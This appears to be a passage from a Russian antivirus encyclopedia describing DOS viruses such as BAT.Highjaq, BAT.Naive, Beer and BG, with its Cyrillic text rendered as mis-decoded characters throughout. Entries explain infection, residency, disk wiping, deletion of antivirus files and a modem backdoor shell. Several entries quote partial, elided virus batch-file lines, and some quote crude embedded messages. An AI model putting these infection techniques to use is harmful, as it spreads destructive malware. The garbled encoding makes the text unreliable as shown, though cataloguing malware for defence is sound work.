BAT-ôàéëà, ïåðâûå ïÿòü êîìàíä çàïóñêàþò àðõèâàòîð ARJ äëÿ ðàñïàêîâêè
âòîðîãî BAT-ôàéëà è ïåðåäàþò åìó óïðàâëåíèå. Ýòîò BAT-ôàéë ñîçäàåò
âðåìåííûé ïîäêàòàëîã S_G_W_W, ðàçàðõèâèðóåò â ýòîò ïîäêàòàëîã ôàéëû èç
âòîðîãî àðõèâà, âûïîëíÿåò ïîèñê è çàðàæåíèå BAT-ôàéëîâ, âûïîëíÿåò
BAT-ôàéë-íîñèòåëü, óäàëÿåò âðåìåííûé ïîäêàòàëîã è ôàéëû è çàêàí÷èâàåò
ñâîþ ðàáîòó. Âèðóñ ñîäåðæèò òåêñòû-êîììåíòàðèè:
: Death Virii Crew & Stealth Group World Wide
: P R E S E N T S
: First Mutation Engine for BAT !
: Without ASM !
: [BATalia6] & FMEB (c) by Reminder
: // ÜÜ Ü
: ÚÄÄÄÄÄÄÄÄ /// ÄÄÄÄÄĬ ßßß Magazine Û for VirMakers
: ¦É»ÉË»ÉÍ // // ËÉË»»É¦ ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß
: ¦È» º Ì ///// º º ̹¦ ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ Ý Û ÜßÛ Û Üßß ÛÜÜ
: ¦È¼ Ê È ///// È¼Ê ¼È¦ Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û Û
: ÀÄÄÄÄÄÄ // // ÄÄÄÄÄÄÄÙ Û Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ
: GROUP // // WORLDWIDE Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
:
: Box 10, Kiev 252148
: Box 15, Moscow 125080
: Box 11, Lutsk 263020
:
: R E A D I N F E C T E D V O I C E
:
: (c) by Reminder (May 22, 1996)
BAT.Batman
Íåîïàñíûé ðåçèäåíòíûé âèðóñ, çàðàæàþùèé BAT-ôàéëû. Èíôèöèðîâàííûé BAT-
ôàéë ñîçäàåò ôàéë B.COM, â êîòîðûé çàïèñûâàåò ñâîé êîä, è îòäàåò åìó
óïðàâëåíèå. Ôàéë B.COM, èñïîëíÿþùèé ñîäåðæèìîå BAT-ôàéëà, êàê ìàøèííûå
èíñòðóêöèè óñòàíàâëèâàåò â ïàìÿòü ñâîþ ðåçèäåíòíóþ êîïèþ, íå ïðîâåðÿÿ
åå íàëè÷èÿ â ïàìÿòè, è "ïåðåõâàòûâàåò" INT 21h. Ïîñëå ýòîãî ôàéë B.COM
óäàëÿåòñÿ. Ïðè çàïèñè â ôàéë (f.40h Int 21h) âèðóñ ïðîâåðÿåò íå
íàõîäèòñÿ ëè ïåðâîé â áóôåðå çàïèñè ñòðîêà @echo. Åñëè íàõîäèòñÿ, òî
âèðóñ ñ÷èòàåò, ÷òî ïðîèçâîäèòñÿ çàïèñü BAT-ôàéëà è çàïèñûâàåò â íåãî
ñâîé êîä. Âíåøíå âèðóñ BAT.Batman âûãëÿäèò ñëåäóþùèì îáðàçîì:
@ECHO OFF
REM [............]
copy %0 b.com>nul
b.com
del b.com
rem [............]
 êâàäðàòíûõ ñêîáêàõ [......] ñõåìàòè÷íî ïîêàçàíî ðàñïîëîæåíèå áàéò,
êîòîðûå ÿâëÿþòñÿ àññåìáëåðíûìè èíñòðóêöèÿìè èëè äàííûìè âèðóñà.
BAT.BatVir
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé BAT-ôàéëû. Èíôèöèðîâàííûé
BAT-ôàéë ñîçäàåò ôàéë BATVIR.94, â êîòîðûé çàïèñûâàåò ñîáñòâåííûé äàìï.
Äàëåå ñ ïîìîùüþ ïðîãðàììû DEBUG äàííûé äàìï ïðåîáðàçóåòñÿ â COM-ôàéë.
Äàííîìó COM-ôàéëó ïðîãðàììîé DEBUG îòäàåòñÿ óïðàâëåíèå. Ýòîò COM-ôàéë
ïðîèçâîäèò ïîèñê è çàðàæåíèå *.BAT-ôàéëîâ â òåêóùåì êàòàëîãå, ïîñëå
÷åãî ïðîèçâîäèòñÿ âûõîä èç DEBUG è óäàëåíèå ôàéëà BATVIR.94. Âèðóñ
ñîäåðæèò òåêñò "rem [BATVIR] '94 (c) Stormbringer [P/S]".
BAT.Highjaq
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ-÷åðâü. Çàïèñûâàåò ñâîé êîä â
WINSTART.BAT, ARJ-àðõèâû è ñîçäàâàåìûé âèðóñîì ñèñòåìíûé äðàéâåð. Ïðè
ñòàðòå èíôèöèðîâàííîãî WINSTART.BAT-ôàéëà âèðóñ ñîçäàåò ôàéë C:\Q.COM,
çàïèñûâàåò â íåãî ñâîé êîä è çàïóñêàåò åãî ñëåäóþùåé ñòðîêîé BAT-ôàéëà:
dir \*.arj/s/b|c:\q.com/i. Êîìàíäà DIR ïðîèçâîäèò ïîèñê âñåõ
*.ARJ-ôàéëîâ è ïåðåäàåò èõ èìåíà âèðóñíîìó ôàéëó C:\Q.COM.Äàííûå àðõèâû
çàðàæàþòñÿ ïóòåì ïðèïèñûâàíèÿ ê íèì åùå îäíîãî ïîëÿ â ôîðìàòå
ARJ-àðõèâà, ñîäåðæàùåãî íåóïàêîâàííûé (store) èíôèöèðîâàííûé ôàéë
/WINSTART.BAT (äàííûé ôàéë, ðàñïîëîæåííûé â êîðíåâîì äèðåêòîðèè äèñêà,
ãäå íàõîäèòñÿ ñèñòåìà MS-Windows áóäåò àâòîìàòè÷åñêè çàïóñêàòüñÿ ïðè
ñòàðòå MS-Windows).Ïîñëå ÷åãî âèðóñ (C:\Q.COM) ïðîâåðÿåò óñòàíîâëåíà ëè
åãî ðåçèäåíòíàÿ êîïèÿ â ïàìÿòè.Åñëè íåò, òî âèðóñ (Ñ:\Q.COM) âîçâðàùàåò
ñîîòâåòñòâóþùèé êîä âîçâðàòà (errorlevel) è çàêàí÷èâàåò ñâîþ ðàáîòó.
Ïî äàííîìó êîäó âîçâðàòà (åñëè ïàìÿòü íå èíôèöèðîâàíà) âèðóñ â BAT-
ôàéëå ïåðåèìåíîâûâàåò ôàéë C:\Q.COM â C:\ABCDEFGH.IJK (âèðóñ ãåíåðèðóåò
ñëó÷àéíîå èìÿ) è äîïèñûâàåò â êîíåö ôàéëà C:\CONFIG.SYS ñòðîêó
"INSTALLHIGH=C:\ABCDEFGH.IJK". Äàííûé âèðóñíûé ñèñòåìíûé äðàéâåð áóäåò
óñòàíàâëèâàòü ðåçèäåíòíóþ êîïèþ âèðóñà â ïàìÿòü ïðè çàãðóçêå DOS.
Ðåçèäåíòíàÿ êîïèÿ "ïåðåõâàòûâàåò" INT 8, 21h è íå çàíèìàåòñÿ çàðàæåíèåì
ôàéëîâ, à ïðåäíàçíà÷åíà äëÿ èäåíòèôèêàöèè íàëè÷èÿ âèðóñà â ñèñòåìå, à
òàêæå âèðóñíûé îáðàáîò÷èê INT 21h áëîêèðóåò ôóíêöèþ GetFileAttribute
äëÿ ôàéëîâ, èìåíà êîòîðûõ íà÷èíàþòñÿ íà "/W". Âèðóñíûé îáðàáîò÷èê INT 8
÷åðåç íåêîòîðîå âðåìÿ ïåðåçàãðóæàåò ñèñòåìó, åñëè êîìïüþòåð ðàáîòàåò íå
ïîä óïðàâëåíèåì MS-Windows. Âèðóñ êîíòðîëèðóåò COM-ïîðòû è èíîãäà
ïîñûëàåò â ïîðò ìîäåìà ñòðîêè (? - íîìåð ïîðòà):
HIGHJAQ on COM?:38400,N,8,1
Ñèñòåìà ïåðåçàãðóæàåòñÿ åñëè âèðóñ îïðåäåëèò, ÷òî áèò Carrier Detect â
òå÷åíèå 3-åõ ìèíóò òðèæäû óñòàíàâëèâàëñÿ â åäèíèöó â ñîîòâåòñòâóþùåì
COM-ïîðòå. Ïîñëå ïåðåçàãðóçêè ñèñòåìû âèðóñ "ïåðåõâàòûâàåò" INT 8,
áëîêèðóåò êëàâèàòóðó è çàïóñêàåò ôàéë C:\COMMAND.COM ñ êîìàíäíîé
ñòðîêîé "C:\ COM? /E:1024/P/F". Ò.å., âèðóñ îïðåäåëÿåò 3 çâîíêà â
òå÷åíèå 3-åõ ìèíóò (1 çâîíîê â ìèíóòó) îò íåêîòîðîãî õàêåðà è ñ÷èòàåò
ýòî "ñèãíàëîì ê âçëîìó ñèñòåìû". Ïîñëå ýòîãî ñèñòåìà ïåðåãðóæàåòñÿ,
çàïóñêàåòñÿ COMMAND.COM è â ïîðò ìîäåìà ïîñûëàåòñÿ êîìàíäà ATL0M0A.
Õàêåð, ïîçâîíèâøèé ìîäåìîì â ýòî âðåìÿ íà äàííûé êîìïüþòåð, óâèäèò
ïîñëå ñîåäèíåíèÿ ñèñòåìíîå ïðèãëàøåíèå "C:>" è ñìîæåò ñäåëàòü ñ ýòèì
êîìïüþòåðîì âñå, ÷òî õî÷åò.
BAT.Naive
Íåîïàñíûé ðåçèäåíòíûé âèðóñ, çàðàæàþùèé BAT-ôàéëû. Èíôèöèðîâàííûé BAT-
ôàéë ïðîâåðÿåò íàëè÷èå ïåðåìåííîé ñðåäû RANGE_CHECK, åñëè îíà ðàâíà
"yes", òî âèðóñ îòäàåò óïðàâëåíèå ñîäåðæèìîìó îðèãèíàëüíîãî BAT-ôàéëà.
Åñëè äàííàÿ ïåðåìåííàÿ íå óñòàíîâëåíà â "yes", òî ñëåäóþùèìè ñòðîêàìè
âèðóñ ñîçäàåò ôàéë naive.com, â êîòîðûé çàïèñûâàåò êîä ïðîâåðêè íàëè÷èÿ
â ïàìÿòè ñâîåé TSR-êîïèè, ïîñëå ÷åãî çàïóñêàåò äàííûé ôàéë -
"@naive.com". Ïðè îòñóòñòâèè TSR-êîïèè NAIVE.COM óñòàíàâëèâàåò
ñîîòâåòñòâóþùèé êîä âîçâðàòà, êîòîðûé àíàëèçèðóåòñÿ BAT-âèðóñîì. Äàëåå
ôàéë NAIVE.COM ñîçäàåòñÿ çàíîâî è â íåãî çàïèñûâàåòñÿ êîä, ïîëó÷àþùèé
èíôîðìàöèþ èç ñòàíäàðòíîãî âõîäà (CON), êîòîðûé â ñâîþ î÷åðåäü
ïîñòóïàåò èç ñîçäàííîãî ôàéëà NAIVE.DAT, â êîòîðûé âèðóñ çàïèñàë
çàêîäèðîâàííûé òåêñò ñâîåãî êîäà (îäèí áàéò ïðåîáðàçîâàí â äâà
ñèìâîëà). Ôàéë NAIVE.COM ïðåîáðàçóåò ñèìâîëû ASCII ïî íåêîòîðîìó
àëãîðèòìó ïåðåêîäèðîâàíèÿ (äâà ñèìâîëà - â îäèí áàéò) â ïðîãðàììíûé êîä
è çàïèñûâàåò ýòîò êîä â ôàéë NAIVE.EXE:
@echo>naive.com ¹¨ÐÁ¹¨ÓrX´?........
@echo>naive.dat DDMJDDNCLEP........
@echo>>naive.dat IMAGPAACIJ........
...................................
@naive.comnaive.exe
Çàòåì ôàéëû NAIVE.COM è NAIVE.DAT óäàëÿþòñÿ:
@del>nul naive.com
@del>nul naive.dat
Çàïóñêàåòñÿ ôàéë NAIVE.EXE, óñòàíàâëèâàþùèé â ïàìÿòü ñâîþ TSR-êîïèþ.
@naive.exe>nul
Ôàéë NAIVE.EXE óäàëÿåòñÿ è óñòàíàâëèâàåòñÿ ïåðåìåííàÿ ñðåäû
RANGE_CHECK=yes, è óïðàâëåíèå îòäàåòñÿ îðèãèíàëüíîìó BAT-ôàéëó.
@del>nul naive.exe
@set range_check=yes
Äàëåå ïðè ñìåíå êàòàëîãà (f.3Bh INT 21h) ðåçèäåíòíàÿ ÷àñòü âèðóñà
ïðîèçâîäèò ïîèñê *.BAT-ôàéëîâ, ïðîâåðÿåò èõ íà çàðàæåííîñòü, è åñëè îíè
åùå íå çàðàæåíû, ñîçäàåò ôàéë NAIVE.TMP, ïðîèçâîäèò êîäèðîâàíèå ñâîåãî
ïðîãðàììíîãî êîäà â ïîñëåäîâàòåëüíîñòü ñèìâîëîâ ASCII è çàïèñûâàåò 4894
áàéò â ôàéë NAIVE.TMP. Ïîñëå ýòîãî âèðóñ äîïèñûâàåò â ôàéë NAIVE.TMP
ñîäåðæèìîå îðèãèíàëüíîãî BAT-ôàéëà è ïåðåèìåíîâûâàåò NAIVE.TMP â èìÿ
BAT-ôàéëà. Ïðè êàæäîì 7 çàðàæåíèè BAT-ôàéëà âèðóñ âûâîäèò ñîîáùåíèå,
êîòîðîå ïîïàäàåò â NUL:
ÚÄÄÄÄÄĬ Äåâóøêè! Ïîçäðàâëÿþ âàñ ñ
¦ \ / ¦ íàëè÷èåì ïîëîâûõ îðãàíîâ !!!
¦ O O ¦ ----------------------------
¦ .. ¦ ß õî÷ó ïîçíàêîìèòüñÿ ñ ñèì-
¦ ÄÄ ¦ ïàòè÷íîé ïðîãðàììèñòêîé, êî-
ÀÄÂÄÄÂÄÙ òîðàÿ âîñïðèìåò ìåíÿ òàêèì,
ÚÄÄÄÙ ÀÄÄÄĬ êàêîé ÿ åñòü...
¦¦ ¦¦ --------------------------
¦¦ . . ¦¦ P.S. Èñêëþ÷èòåëüíî äëÿ èç-
¦ÃÄ ÂÄ´¦ âðàù¸ííûõ ïîëîâûõ ñíîøåíèé!
¦¦ ¦ ¦ ¦¦ --------------------------
ÀÙ ¦ + ¦ ÀÙ N * Ñèñòåìùèêè !!!! * N
¦ ²²² ¦ A * Êàê âàì èäåÿ ïà- * A
¦ÃO²O´¦ I * êåòíîãî ðåïëèêàíòà?* I
¦¦ U ¦¦ V * À åñòü åù¸ ìíîãî * V
ÃÙ À´ E * ïðèêîëüíûõ èäåé!!! * E
¦ ¦ ß - íåâèííîå äèòÿ !!!
ÄÄÙ ÀÄÄ
BAT.Pot, BAT.Xop367, 850, BAT.Zep, BAT.Zop (1,2).
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Çàðàæàþò *.BAT-ôàéëû â òåêóùèõ è
ðîäèòåëüñêèõ äèðåêòîðèÿõ. BAT.Zop ñîäåðæèò òåêñò "::[8m --- [ZoP_B]
Batch Infector ---". BAT.Pot âûâîäèò òåêñòû "You're Stoned!", "Let me
outta here!".
BAT.Skul
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò *.BAT-ôàéëû. 20 ÷èñëà óíè÷òîæàåò
8224 ñåêòîðîâ äèñêà C: è âûâîäèò òåêñò "SKuL Killing Hardfile...".
BAT.Winstart.296, 297
Íåîïàñíûå ðåçèäåíòíûå âèðóñû, ñîçäàþùèå ôàéëû WINSTART.BAT. Ïðè ñòàðòå
òàêîãî ôàéëà âèðóñû êîïèðóþò ñîäåðæèìîå ñòàðòîâàâøåãî BAT-ôàéëà,
ñîäåðæàùåãî âèðóñíûé êîä â ôàéë C:\Q.COM è çàïóñêàþò åãî:
@ECHO OFF
:s%r#
COPY %0.BAT C:\Q.COM>NUL
C:\Q
Äàëåå óïðàâëåíèå â ôàéëå C:\Q.COM ïîïàäàåò íà ýòè æå êîìàíäû, êîòîðûå
óæå âûïîëíÿëèñü â èíôèöèðîâàííîì BAT-ôàéëå, íî òîëüêî â äàííîì ñëó÷àå
êîìàíäû â COM-ôàéëå óæå ïðåäñòàâëåíû, êàê àññåìáëåðíûå èíñòðóêöèè,
êîòîðûå îòäàþò óïðàâëåíèå êîìàíäàì, ñëåäóþùèìè çà ñòðîêîé C:\Q. Âèðóñû
óñòàíàâëèâàþò ñâîþ êîïèþ ðåçèäåíòíî â ïàìÿòü (â îáëàñòü HMA) è
"ïåðåõâàòûâàþò" INT 2Fh, ïîñëå ýòîãî ïåðåèìåíîâûâàþò ôàéë C:\Q.COM â
C:\WINSTART.BAT. Ðåçèäåíòíûå êîïèè âèðóñîâ êîíòðîëèðóåò çàïóñêè
êîìàíäíîãî ïðîöåññîðà è ñîçäàþò ôàéë WINSTART.BAT â òåêóùåì äèðåêòîðèè.
Batman.237
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "BATMAN 2.01".
Batman.2844
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 13h, 28h, ïðîèçâîäèò
ïîèñê *.EXE-ôàéëîâ è çàðàæàåò èõ. Ñîäåðæèò òåêñò "Bat Man II".
Bauman.2203
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ.  ïÿòíèöó âî âòîðîé ïîëîâèíå äíÿ
óíè÷òîæàåò èíôîðìàöèþ íà ïåðâîì æåñòêîì äèñêå. Îñòàâëÿåò â ïàìÿòè
ðåçèäåíòíóþ êîïèþ, êîòîðàÿ "ãóëÿåò" ïî ðàçíûì àäðåñàì ïàìÿòè è óäàëÿåò
ïðîãðàììû ñ èìåíàìè DRWEB è AVP ïðè èõ çàïóñêå. Ñîäåðæèò òåêñò
"(C) T&T Bauman".
Bazil.1956
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò âûâåñòè ñîîáùåíèå:
*****************************************************************
* THIS FILE IS INFECTED AS WELL AS ALL COM FILES ON THIS DISC! *
* Ïîêà âû òàì óøàìè õëîïàëè ÿ óæå ïî âñåìó äèñêó ðàñïëîäèëñÿ! *
* Êóäà-æå ñìîòðèò òîâ. Ëîçèíñêèé?! *
* [BaZiL] *
*****************************************************************
Òàêæå ñîäåðæèò òåêñò:
Ïðèâåò âcem Ïèòåðñêèì õàêåðàì, òîâ. Äàíèëîâó è Ëîçèíñêîìó!
ÔÌË 239 - ñàìàÿ ëó÷øàÿ øêîëà â ìèðå!!!
Âèðóñ êîíå÷íî íå ñëèøêîì õèòðûé, íî äëÿ ïåðâîãî ðàçà ñîéäåò.
[BaZiL]
Beast.Zver
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Èñïîëüçóåò àëãîðèòì çàðàæåíèÿ,
çàèìñòâîâàííûé èç âèðóñîâ ñåìåéñòâà Beast - â íà÷àëî ôàéëà çàïèñûâàåòñÿ
âèðóñíûé êîä, à îðèãèíàëüíîå íà÷àëî õðàíèòñÿ â ïîñëåäíåì íåèñïîëüçóåìîì
êëàñòåðå ôàéëà íà äèñêå. Äëèíà ôàéëà íå ìåíÿåòñÿ ïðè ýòîì íå
èçìåíÿåòñÿ. Íî äëèíà ôàéëà ïî öåïî÷êå FAT ìîæåò íå ñîâïàäàòü ñ ðåàëüíîé
äëèíîé. Âèðóñ ñîäåðæèò òåêñò "~ZVER~".
Beda.337, 338, 352, 883, 1301, 1530
Ñâîå íàçâàíèå ïîëó÷èëè çà ôóíêöèþ ïðîâåðêè ñâîåãî íàëè÷èÿ â ïàìÿòè -
f.BEDAh INT 21h. Beda.883, 1301 óñòðàèâàþò âèäåîýôôåêò - òðè öâåòíûå
ëèíèè, ïëàâàþùèå ïî ýêðàíó. Beda.352 èìååò ñòðîêó "ACHE". Beda.1301,
1530 ïðè îòêðûòèè (f.3Dh INT 21h) èíôèöèðîâàííîãî ôàéëà ñîçäàþò íîâûé
ôàéë \$a._$, â êîòîðûé çàïèñûâàþò ñîäåðæèìîå îðèãèíàëüíîãî ôàéëà è
âîçâðàùàþò îòêðûâàþùåé ïðîãðàììå îïèñàòåëü (handle) äàííîãî ñîçäàííîãî
ôàéëà. Ïðè çàêðûòèè ôàéëà (f.3Eh INT 21h) âèðóñû óäàëÿþò ôàéë \$a._$.
Beda.1530 óäàëÿåò ôàéëû, íà÷èíàþùèåñÿ íà -V, WEB, AIDS, A-DIN. Òàêæå,
Beda.1530 èíîãäà èçìåíÿåò â áóôåðå êëàâèàòóðû íàæàòèå êëàâèø F5, N, n
ñîîòâåòñòâåííî íà F8, Y, y.
Beer.645
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò òåêñò "Ceé÷ac áû ïèâêa".
Beer.2473, 2620, 2794, 2850, 2984, 3164(1,2), 3192(1-3), 3307, 3399, 3490(1,2)
Îïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Beer.2473, 3164, 3192, 3307,
3399 óíè÷òîæàþò ôàéëû DISKDATA.DTL, VIRUSES.INF, DIRINFO, -V.MSG èëè
A-DINF-°.°°°. Èíîãäà ïðîèãðûâàþò ìåëîäèþ è âûâîäÿò ñîîáùåíèÿ:
Beer.2473 - Âèpóñ,Âèpóñ õà-õà-õà. ÏÐßÌÎ ÑÂÅÐXÓ xa-xa-xa-xa !!!
Beer.2620, 2794, 2850, 2984, 3164, 3192, 3490 - Ceé÷ac áû ïèâêa
Beer.3307 - ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ (c) Èñïûòàòåëüíûé öåíòp ¦
¦ ñàìîõîäíîãî ïpîãpàììíoãî îáåñïå÷åíèÿ ¦
¦ èìåíè ß÷ìåííîãî êîëîñà ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Beer.3399 - Lozinsky! I know you to be old beer drinker.
How about a mug of beer or two?
It would be amazing to meet you at our beer party.
You are welcome at Solntsevo railway station
About 17.00 p.m. every friday and wednesday.
Beer.3490 (1,2) ñîäåðæàò òåêñòû "EGA - text mode demonstration
Copyright (c) by Wadim 1990.", "I love you ,Ann !ANNA", "Wadim S.".
Beer.Kalinka.2920, 3225, 3434, 3612
Îïàñíûå ðåçèäåíòíûå âèðóñû. Beer.Kalinka.2920 çàïèñûâàåò â ôàéëû
DISKDATA.DTL, VIRUSES.INF, A-DINF-°.°°°,DIRINFO,-V.MSG ñòðîêó "Êàëèíêà-
ìàëèíêà-ìàëèíêà-ìàëèíêà ìîÿ !". Beer.Kalinka.3225 çàïèñûâàåò â ôàéëû
DISKDATA.DTL, VIRUSES.INF, A-DINF-°.°°°, DIRINFO,REPORT.WEB,REPORT.TXT,
ADINF-C.LOG, ADINF-D.LOG, ADINF-E.LOG, CHKLIST.MS, AVPTSR.EXE, -D.COM,
-D3.COM,VSAVE.EXE,ANTI4US.EXE òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Æèëè ó áàáóñè ÒPÈ âåñåëûõ ãóñÿ: ¦
¦ ëÎÇ,äÀÍÈËΠè êÀÑÏÅPÑÊÈÉ - ¦
¦ ß ÎÒ ÍÈÕ ÒÀÙÓÑß !!! ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Beer.Kalinka.3612 çàïèñûâàåò â ôàéëû DISKDATA.DTL, VIRUSES.INF,
A-DINF-°.°°°,DIRINFO,REPORT.WEB,CHKLIST.MS,AVPTSR.EXE òåêñò:
Ñåðãåé Ìàâðîäè - Ï È Ä Î Ð !!! Âàì ïñèíà óëûáíóëàñü !!!
<-------
Ïðî÷òèòå ñïðàâà íàëåâî - âûéäåò ïàëèíäðîì (ñûðîé)
Beer.Kalinka.3434 çàïèñûâàåò â ôàéëû DISKDATA.DTL, VIRUSES.INF,
A-DINF-°.°°°, DIRINFO, REPORT.WEB, REPORT.TXT, ADINF-C.LOG,ADINF-D.LOG,
ADINF-E.LOG, ADINF-F.LOG, ADINF-G.LOG, CHKLIST.MS, AVPTSR.EXE, -D.COM,
-D3.COM,VSAVE.EXE,ANTI4US.EXE,F_PROT.LOG òåêñò:
******************************************
* Ðóññêàÿ íàðîäíàÿ ïåñíÿ Êàëèíêà-Ìàëèíêà *
* Èñïîëíÿåòñÿ âïåðâûå *
******************************************
***********************************
* Â ñåìüå âñå âçâåñèâ çàíîâî *
* Ðåøèëè îêîí÷àòåëüíî: *
* Êîìïàðòèþ Çþãàíîâà *
* Ïîääåðæèì Îáÿçàòåëüíî !!! *
***********************************
Âèðóñû íå çàðàæàþò ôàéëû COMMAND.COM è AIDSTEST.EXE. Èíîãäà âûâîäÿò íà
ýêðàí óêàçàííûå âûøå òåêñòû. Beer.Kalinka.2920, 3225, 3434 èñïîëíÿþò
ìåëîäèþ "Æèëè ó áàáóñè äâà âåñåëûõ ãóñÿ...", à Beer.Kalinka.3612
"èçäåâàåòñÿ" íàä "Ðèî-Ðèîòîé".
Before.1196, 2915
Îïàñíûå ðåçèäåíòíûå âèðóñû. Îòëè÷àþòñÿ äðóã îò äðóãà òîëüêî òåì, ÷òî
Before.2915 óïàêîâàí óòèëèòîé AINEXE. Ìîãóò áëîêèðîâàòü âûçîâû INT 21h.
Ñîäåðæàò òåêñò "BEFORE.CE.1136 (C) PC Soft Club".
BerlinHQ.434
Íåîïàñíûé âèðóñ. Èíîãäà âûâîäèò òåêñò:
Type "XeroX rulez!" or die !
Call our Berlin HQ ++49-30-7069929 !
Beside.200
Î÷åíü îïàñíûé çàìåùàþùèé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå
"It is unknown what this virus does besides replicate.".
BG.1348
Îïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Èíîãäà âûâîäèò òåêñò:
Seems so simple now
Now that the sky is clear
Maybe the road was tough
But at last we're here
I've nothing to hide from you
Nothing to explain
Just this vision of broken wing
And the raven cries in pain...
Enter the name of song:
Ïðè íåïðàâèëüíîì îòâåòå âèðóñ "çàöèêëèâàåò" ñèñòåìó.Òàêæå ìîæåò âûâåñòè
íà ýêðàí:
²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²
²²² ²²²
²²² ²²²
²²²² ²²²
²²²²² ²²²
²²² ²²² ²²²
²²² ²²² ²²²
²²² ²²² ²²²
²²² ²²² ²²²
²²² ²²²² ²²²
²²² ²²² ²²²
²²² ²² ²²²
²²² ²²² ²²²
²²² ²²² ²²²
²²² ²²² ²²²
²²²²²²²²²²²²²²²²²²² ²² ²²² ²²
BG.2135
Håîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè îäíîâðåìåííîì íàæàòèè íà
êëàâèøè F12, NumLock, CapsLock è ScrollLock, âèðóñ âûâîäèò òåêñò:
È, ìîæåò áûòü, òîãäà îòêðîåòñÿ äâåðü,
È çâåçäû çàìåäëÿò ñâîé õîä.
È ìû âñòàíåì íà ïðèñòàíè âìåñòå,
Âçÿâøèñü çà ðóêè, ãëÿäÿ íà ïàðóñíûé ôëîò.
Ñîäåðæèò òåêñò "=> ÁÃ Virus° Ver. 2.0 <=".
BG.3084
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Âûâîäèò íà ýêðàí òåêñò
Ðîê-í-ðîëë ìåðòâ, à ÿ åùå íåò...
Ïðè îòêðûòèè ôàéëîâ ñ ðàñøèðåíèÿìè TXT,PAS,CPP,DIZ,NFO âèðóñ çàïèñûâàåò
â íèõ òåêñòû:
ß áóäó ó÷èòüñÿ íå îñòàâëÿòü ñëåäîâ,
Ó÷èòüñÿ ìåðèòü òî, ÷òî ðÿäîì ñî ìíîé:
Çåìëþ - íàîùóïü, õëåá è âèíî - íà âêóñ,
Ãóáû ãóáàìè, íåáî - ñâîåé çâåçäîé;
ß áîëüøå íå âåðþ â òî, ÷òî åñòü ÷òî-òî åùå;
À ãëàçà ñ òîé ñòîðîíû ïðèöåëà ÿñíû.
Âñå íàçàä! ß äåëàþ ïåðâûé øàã,
ß íà÷èíàþ äâèæåíèå â ñòîðîíó âåñíû...
Òî ëè âûíóëè ÷åêó,
Òî ëü ïîðâàëàñü ñâÿçü âðåìåí.
Ïîäðóæèëèñü ãîñïîäà,
Äà ñ Ãîñïîäíåé ñðàíüþ.
Íà ñâÿòîé ãîðå Ìîíìàðòð
Åñòü ìàãè÷åñêèé Ñåìåí,
Îí ìåíÿåò íàì òóçû
Íà øåñòåðêè ñ äðÿíüþ.
Ðàíüøå ñâåðõó åõàë Áîã,
Ñíèçó ïðûãàë ìåëêèé áåñ,
À òåïåðü ìû âñå ðàâíû,
Âñå ìû àíîíèìû.
×åðåç äûðêó â íåáåñàõ
Âúåõàë áåëûé Ìåðñåäåñ,
Âñåì ðàçäàë ïî òðè ðóáëÿ
È ïðîåõàë ìèìî...
=> ÁÃ Virus° Ver. 3.0 <=
BGU.1295, 1298
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. ×åðåç 25 ìèíóò ïîñëå óñòàíîâêè â ïàìÿòü
âèðóñû âûâîäÿò áåëî-êðàñíûé áåëîðóññêèé ôëàã - åñëè ìîíèòîð íàõîäèòñÿ â
òåêñòîâîì ðåæèìå, èíà÷å èçäàþò êàêèå-òî çâóêè. Ñîäåðæàò òåêñò
"BGU 1992".
BigMouse.900 (1,2)
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. 17 íîÿáðÿ âûâîäÿò òåêñò:
G+A=
Press any key to go on
BigMouse.998
Î÷åíü îïàñíûé øèôðîâàííûé ðåçèäåíòíûé âèðóñ.  àïðåëå óíè÷òîæàåò
ñîäåðæèìîå ëîãè÷åñêîãî äèñêà D:. Ñîäåðæèò ñòðîêè "SCANCLEAVIRSF-PRCPAV"
è "-=GC73=-".
Billboard.835
Ìîæåò âûâåñòè íà ýêðàí òåêñò:
Billboard 1.0, (c)1993 Slþþzþ [Nuke].
Jeff K. - You are a lying prick, just like all politicians
Patty - This was written from the ground up, in Australia
Alan - You are wasting your time chasing Rock Steady
